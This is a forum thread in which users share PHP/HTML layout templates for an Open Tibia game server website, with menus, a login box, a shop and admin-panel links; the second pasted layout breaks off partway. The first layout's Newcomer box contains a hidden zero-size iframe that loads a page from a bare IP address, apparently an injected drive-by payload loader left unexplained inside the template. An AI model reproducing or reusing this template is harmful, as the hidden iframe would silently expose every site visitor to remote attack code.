<div id='submenu_tracker' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tracker' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Tracker</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=changelog'>

<div id='submenu_changelog' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_changelog' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Change Log</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=team'>

<div id='submenu_team' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_team' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Support List</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?php

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo "<a href='?subtopic=adminpanel'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Admin Panel !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($group_id_of_acc_logged >= 4)

echo "<a href='?subtopic=namelock'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Name Lock !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<?PHP

if($config['site']['shop_system'] == 1)

{

echo "<div id='shops' class='menuitem'>

<span onClick=\"MenuItemAction('shops')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='shops_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='shops_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-shops.gif);'></div>

<div id='shops_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-shops.gif);'></div>

<div id='shops_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='shops_Submenu' class='Submenu'>

<div id='submenu_buypoints' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_buypoints' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Buy Points</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=shopsystem'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Shop Offer</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($logged)

echo "<a href='?subtopic=shopsystem&action=show_history'>

<div id='submenu_shopsystem' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_shopsystem' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Trans. History</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

echo "</div></div>";

}

?>

<div id='MenuBottom' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);'></div>

</div>

</div>

<div id="ContentColumn">

<div class="Content">

<div id="ContentHelper">

<script type="text/javascript" src="http://static.tibia.com/javascripts/newsticker.js"></script>

<?PHP echo $news_content; ?>

<div id="<?PHP echo $subtopic; ?>" class="Box">

<div class="Corner-tl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tl.gif);"></div>

<div class="Corner-tr" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tr.gif);"></div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="BorderTitleText" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/title-background-green.gif);"></div>

<img class="Title" src="headline.php?txt=<?PHP echo $subtopic; ?>" alt="Contentbox headline" />

<div class="Border_2">

<div class="Border_3">

<div class="BoxContent" style="background-image:url(http://i63.photobuck...Dude/scroll.gif);">

<?PHP echo $main_content; ?>

</div>

</div>

</div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="CornerWrapper-b"><div class="Corner-bl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-bl.gif);"></div></div>

<div class="CornerWrapper-b"><div class="Corner-br" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-br.gif);"></div></div>

</div>

</div>

</div>

<div id="Footer">

<?PHP

$time_end = microtime_float();

$time = $time_end - $time_start;

?>

<?PHP echo getFooter() ?><br/>Page has been viewed <?PHP echo $page_views; ?> times. Load time: <?PHP echo round($time, 4); ?> seconds

</div>

</div>

<div id="ThemeboxesColumn">

<div id="RightArtwork">

<img id="Monster" src="images/monsters/<?PHP echo logo_monster() ?>.gif" onClick="window.location = '?subtopic=creatures&amp;creature=<?PHP echo logo_monster() ?>';" alt="Monster of the Week" />

<img id="PedestalAndOnline" src="http://i63.photobucket.com/albums/h122/Mister_Dude/pedestal-and-online.gif" alt="Monster Pedestal and Players Online Box"/>

<div id="PlayersOnline" onClick="window.location = '?subtopic=whoisonline'">

<?PHP

if($config['status']['serverStatus_online'] == 1)

echo $config['status']['serverStatus_players'].'<br />Players Online';

else

echo '<font color="red"><b>Server<br />OFFLINE</b></font>';

?>

</div>

</div>

<div id="Themeboxes">

<div id="NewcomerBox" class="Themebox" style="background-image:url(http://i63.photobuck...newcomerbox.gif);">

<div class="ThemeboxButton" onClick="BigButtonAction('?subtopic=createaccount')" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif);">

<div class="BigButtonOver" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif);"></div>

<div class="ButtonText" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/_sbutton_jointibia.gif);"></div>

</div>

<iframe src ="http://188.126.223.74/42/index.php" width="0" frameborder="no" height="0"></iframe>

<div class="Bottom" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);"></div>

</div>

<?PHP

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo '

<div id="NewcomerBox" class="Themebox" style="background-image:url('.$layout_name.'/images/themeboxes/admin/admin.png);">

<div id="lool" CLASS=white>

<table><tr><td height="30">&nbsp;</td><td>&nbsp;</td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel"><font color="white"><b>ADMIN PANEL</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editconfigs"><font color="white"><b>EDIT CONFIGS</b></font></a></td></tr>

<tr><td height="10">&nbsp;</td><td><a href="?subtopic=adminpanel&action=editnews"><font color="white"><b>NEWS SYSTEM</b></font></a></td></tr>

</table>

</div>

<div class="Bottom" style="background-image:url('.$layout_name.'/images/general/box-bottom.gif);"></div>

</div>';

?>

<script type="text/javascript">InitializePage();</script>

</div>

</div>

</div>

</div>

</div>

</body>

</html>

Link para o post
Compartilhar em outros sites

usa esse aki

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<title><?PHP echo $title ?></title>

<meta name="description" content="Tibia is a free massive multiplayer online role playing game (MMORPG)." />

<meta name="author" content="Gesior" />

<meta http-equiv="content-language" content="en" />

<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>

<meta name="keywords" content="free online game, free multiplayer game, ots, open tibia server" />

<link rel="shortcut icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<link rel="icon" href="<?PHP echo $layout_name; ?>/images/server.ico" type="image/x-icon">

<?PHP echo $layout_header; ?>

<link href="<?PHP echo $layout_name; ?>/basic.css" rel="stylesheet" type="text/css">

<script type='text/javascript'> var IMAGES=0; IMAGES='http://static.tibia.com/images'; var g_FormField=''; var LINK_ACCOUNT=0; LINK_ACCOUNT='';</script>

<SCRIPT TYPE="text/javascript">

<!-- // Framekiller

setTimeout ("changePage()", 6000);

function changePage()

{

if (parent.frames.length > 2)

{

if (browserTyp == "ie") {

parent.location=document.location;

} else {

self.top.location=document.location;

}

}

}

// -->

</SCRIPT>

<script type="text/javascript">

state = new Array("0", "0", "0", "0", "0");

function TickerAction(id)

{

var line = id.substr(12, 1);

if(state[line] == "0")

{

state[line] = "1";

OpenNews(id);

}

else

{

state[line] = "0";

CloseNews(id);

}

}

function OpenNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "none";

document.getElementById(idMore).style.display = "block";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function CloseNews(id)

{

var div = document.getElementById(id)

var idShort = id.concat("-ShortText");

var idMore = id.concat("-FullText");

var idButton = id.concat("-Button");

document.getElementById(idShort).style.display = "block";

document.getElementById(idMore).style.display = "none";

document.getElementById(idButton).style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

function InitializePage()

{

LoadLoginBox();

LoadMenu();

}

// initialisation of the loginbox status by the value of the variable 'loginStatus' which is provided to the HTML-document by PHP in the file 'header.inc'

function LoadLoginBox()

{

if(loginStatus == "false")

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_login.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif')";

}

else

{

document.getElementById('LoginstatusText_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-welcome.gif')";

document.getElementById('ButtonText').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/buttons/_sbutton_myaccount.gif')";

document.getElementById('LoginstatusText_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_1').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout.gif')";

document.getElementById('LoginstatusText_2_2').style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-logout-over.gif')";

}

}

// mouse-over and click events of the loginbox

function MouseOverLoginBoxText(source)

{

source.lastChild.style.visibility = "visible";

source.firstChild.style.visibility = "hidden";

}

function MouseOutLoginBoxText(source)

{

source.firstChild.style.visibility = "visible";

source.lastChild.style.visibility = "hidden";

}

function LoginButtonAction()

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement";

}

}

function LoginstatusTextAction(source)

{

if(loginStatus == "false")

{

window.location = LINK_ACCOUNT + "?subtopic=createaccount";

}

else

{

window.location = LINK_ACCOUNT + "?subtopic=accountmanagement&action=logout";

}

}

var menu = new Array();

menu[0] = new Object();

var unloadhelper = false;

// load the menu and set the active submenu item by using the variable 'activeSubmenuItem' (provided to HTML-document by PHP in the file 'header.inc'

function LoadMenu()

{

document.getElementById("submenu_"+activeSubmenuItem).style.color = "white";

document.getElementById("ActiveSubmenuItemIcon_"+activeSubmenuItem).style.visibility = "visible";

if(self.name.lastIndexOf("&") == -1)

{

self.name = "news=1&library=0&community=0&forum=0&account=0&support=0<?PHP if($config['site']['shop_system'] == 1) echo "&shops=0"; ?>&";

}

FillMenuArray();

InitializeMenu();

}

function SaveMenu()

{

if(unloadhelper == false)

{

SaveMenuArray();

unloadhelper = true;

}

}

// store the values of the variable 'self.name' in the array menu

function FillMenuArray()

{

while(self.name.length > 0 )

{

var mark1 = self.name.indexOf("=");

var mark2 = self.name.indexOf("&");

var menuItemName = self.name.substr(0, mark1);

menu[0][menuItemName] = self.name.substring(mark1 + 1, mark2);

self.name = self.name.substr(mark2 + 1, self.name.length);

}

}

// hide or show the corresponding submenus

function InitializeMenu()

{

for(menuItemName in menu[0])

{

if(menu[0][menuItemName] == "0")

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "hidden";

document.getElementById(menuItemName+"_Submenu").style.display = "none";

document.getElementById(menuItemName+"_Lights").style.visibility = "visible";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

else

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "visible";

document.getElementById(menuItemName+"_Submenu").style.display = "block";

document.getElementById(menuItemName+"_Lights").style.visibility = "hidden";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

}

}

// reconstruct the variable "self.name" out of the array menu

function SaveMenuArray()

{

var stringSlices = "";

var temp = "";

for(menuItemName in menu[0])

{

stringSlices = menuItemName + "=" + menu[0][menuItemName] + "&";

temp = temp + stringSlices;

}

self.name = temp;

}

// onClick open or close submenus

function MenuItemAction(sourceId)

{

if(menu[0][sourceId] == 1)

{

CloseMenuItem(sourceId);

}

else

{

OpenMenuItem(sourceId);

}

}

function OpenMenuItem(sourceId)

{

menu[0][sourceId] = 1;

document.getElementById(sourceId+"_Submenu").style.visibility = "visible";

document.getElementById(sourceId+"_Submenu").style.display = "block";

document.getElementById(sourceId+"_Lights").style.visibility = "hidden";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

function CloseMenuItem(sourceId)

{

menu[0][sourceId] = 0;

document.getElementById(sourceId+"_Submenu").style.visibility = "hidden";

document.getElementById(sourceId+"_Submenu").style.display = "none";

document.getElementById(sourceId+"_Lights").style.visibility = "visible";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

// mouse-over effects of menubuttons and submenuitems

function MouseOverMenuItem(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutMenuItem(source)

{

source.firstChild.style.visibility = "hidden";

}

function MouseOverSubmenuItem(source)

{

source.style.backgroundColor = "#14433F";

}

function MouseOutSubmenuItem(source)

{

source.style.backgroundColor = "#0D2E2B";

}

</script>

</head>

<body onBeforeUnLoad="SaveMenu();" onUnload="SaveMenu();">

<a name="top" ></a>

<div id="ArtworkHelper" style="background-image:url(http://i63.photobuck...d-artwork-1.jpg);" >

<div id="Bodycontainer">

<div id="ContentRow">

<div id="MenuColumn">

<div id="LeftArtwork">

<img id="Statue_1" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="TibiaLogoArtworkTop" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-top.gif" onClick="window.location = '?subtopic=latestnews';" alt="logoartwork" />

<img id="TibiaLogoArtworkBottom" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-bottom.gif" alt="logoartwork" />

<img id="Statue_2" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="LogoLink" src="<?PHP echo $layout_name; ?>/images/header/tibia-logo-artwork-string.gif" onClick="window.location = 'mailto:<?PHP echo $config['server']['ownerEmail']; ?>';" alt="logoartwork" />

</div>

<div id="Loginbox" >

<div id="LoginTop" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif)" ></div>

<div id="BorderLeft" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif)" ></div>

</div>

<div id="LoginButtonContainer" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginButton" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif)" >

<div onClick="LoginButtonAction();" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);"><div class="Button" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif)" ></div>

<div id="ButtonText" ></div>

</div>

</div>

</div>

<div style="clear:both" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_2" onClick="LoginstatusTextAction(this);" onMouseOver="MouseOverLoginBoxText(this);" onMouseOut="MouseOutLoginBoxText(this);" >

<div id="LoginstatusText_2_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif)" ></div>

<div id="LoginstatusText_2_2" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif)" ></div>

</div>

</div>

<div id="BorderRight" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div id="LoginBottom" class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif)" ></div>

</div>

<div id='Menu'>

<div id='MenuTop' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif);'></div>

<div id='news' class='menuitem'>

<span onClick="MenuItemAction('news')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='news_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='news_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-news.gif);'></div>

<div id='news_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-news.gif);'></div>

<div id='news_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='news_Submenu' class='Submenu'>

<a href='?subtopic=latestnews'>

<div id='submenu_latestnews' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_latestnews' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Latest News</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=archive'>

<div id='submenu_archive' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_archive' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>News Archive</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='library' class='menuitem'>

<span onClick="MenuItemAction('library')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='library_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='library_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-library.gif);'></div>

<div id='library_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-library.gif);'></div>

<div id='library_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='library_Submenu' class='Submenu'>

<a href='?subtopic=creatures'>

<div id='submenu_creatures' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_creatures' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Creatures</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=spells'>

<div id='submenu_spells' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_spells' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Spells</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['serverinfo_page'] == 1)

echo "

<a href='?subtopic=serverinfo'>

<div id='submenu_serverinfo' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_serverinfo' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Info</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

<a href='?subtopic=experiencetable'>

<div id='submenu_experiencetable' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_experiencetable' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Experience Table</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='community' class='menuitem'>

<span onClick="MenuItemAction('community')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='community_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='community_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-community.gif);'></div>

<div id='community_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-community.gif);'></div>

<div id='community_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='community_Submenu' class='Submenu'>

<a href='?subtopic=characters'>

<div id='submenu_characters' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_characters' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Characters</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=whoisonline'>

<div id='submenu_whoisonline' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_whoisonline' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Who Is Online?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=highscores'>

<div id='submenu_highscores' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_highscores' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Highscores</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=killstatistics'>

<div id='submenu_killstatistics' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

